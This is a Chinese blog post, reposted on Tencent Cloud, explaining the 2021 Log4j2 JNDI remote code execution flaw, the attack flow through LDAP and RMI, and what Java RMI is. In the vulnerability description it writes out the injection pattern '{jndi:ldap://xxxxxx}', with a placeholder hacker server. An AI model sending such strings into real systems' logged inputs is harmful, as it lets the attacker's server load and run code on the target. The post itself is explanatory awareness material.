前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Apache 存在 Log4j2 远程代码执行漏洞,有哪些信息值得关注?

Apache 存在 Log4j2 远程代码执行漏洞,有哪些信息值得关注?

作者头像
Java极客技术
发布2022-12-02 21:51:13
5040
发布2022-12-02 21:51:13
举报
文章被收录于专栏:Java极客技术

相信大家最近都被 ApacheLog4j2 的漏洞相关的文章刷屏了,不得不说这次的这个漏洞影响范围之广,很多互联网大厂和开源软件都被影响到了,作为一个特别通用的日志框架,日常使用的场景非常多,而且很多开源软件都在使用,所以此次影响到一大批公司,堪称核弹级漏洞!

不过据说 2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞,可能这是为什么阿里内部群很安静,没任何波澜的原因吧,毕竟有安全部门!但是很多其他公司是工程师就很不幸了,都表示自己在 12 月 10 号这天晚上被拉起来修复漏洞了,还有好多要给客户打补丁的。

漏洞描述

我们都知道在使用Apache Log4j2 记录日志的时候,会使用这样的格式logger.info("params: {}", params);,进行组装,不要告诉阿粉你是用加号拼装~。log4j2 底层在进行组装的时候,如果发现传入的 params 当中含有${} 字符串的话会进行替换的时候会执行 lookup 的操作,所谓的 lookup 的操作就是允许通过 JNDI检索变量。

通过 JNDI 注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码,想想就很恐怖!也就是说当 params 中的参数包含一些特定的字符的时候,就会触发这个漏洞,这种字符数格式比如:{jndi:ldap://xxxxxx},{jndi:rmi://xxxxxx} 其中xxxxxx 表示黑客的服务地址。

黑客通过构造这样的字符串来访问目标网站,只要程序通过 log4j2 将日志进行记录,不管是什么级别,就会将 log4j2lookup 功能触发,然后就会通过 RMI 访问黑客的服务地址,黑客通过这个服务输出一个 class 字节码文件,这个字节码文件里面可以执行任何内容,相当于把这个服务器都交给黑客了,后果可想而知!

攻击原理

有大佬画了一张攻击原理的图书,阿粉给大家看一下,很详细了。

RMI

估计很多小伙伴看到这个漏洞的时候估计跟阿粉一样有一个疑问,那就是 RMI 是啥?运用面向搜索引擎编程的技巧,阿粉找到了下面的内容,看上去还是很好理解的。

Java RMI(Java Remote Method Invocation),即 Java 远程方法调用。是 Java 编程语言里,一种用于实现远程过程调用的应用程序编程接口。有点类似于我们常用的服务注册发现机制一样,使用 JRMP(Java Remote Message Protocol,Java远程消息交换协议)实现,使得客户端运行的程序可以调用远程服务器上的对象,有点 RPC 的感觉。

划重点

王坚博士曾说:安全是互联网公司的生命,也是每一位网民的最基本需求。

互联网软件的安全与我们每一个程序员相关,我们在日常工作中要随时有应对各种安全漏洞的准备,写的代码也有尽量没有漏洞。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-12-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Java极客技术 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞描述
  • 攻击原理
  • RMI
  • 划重点
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档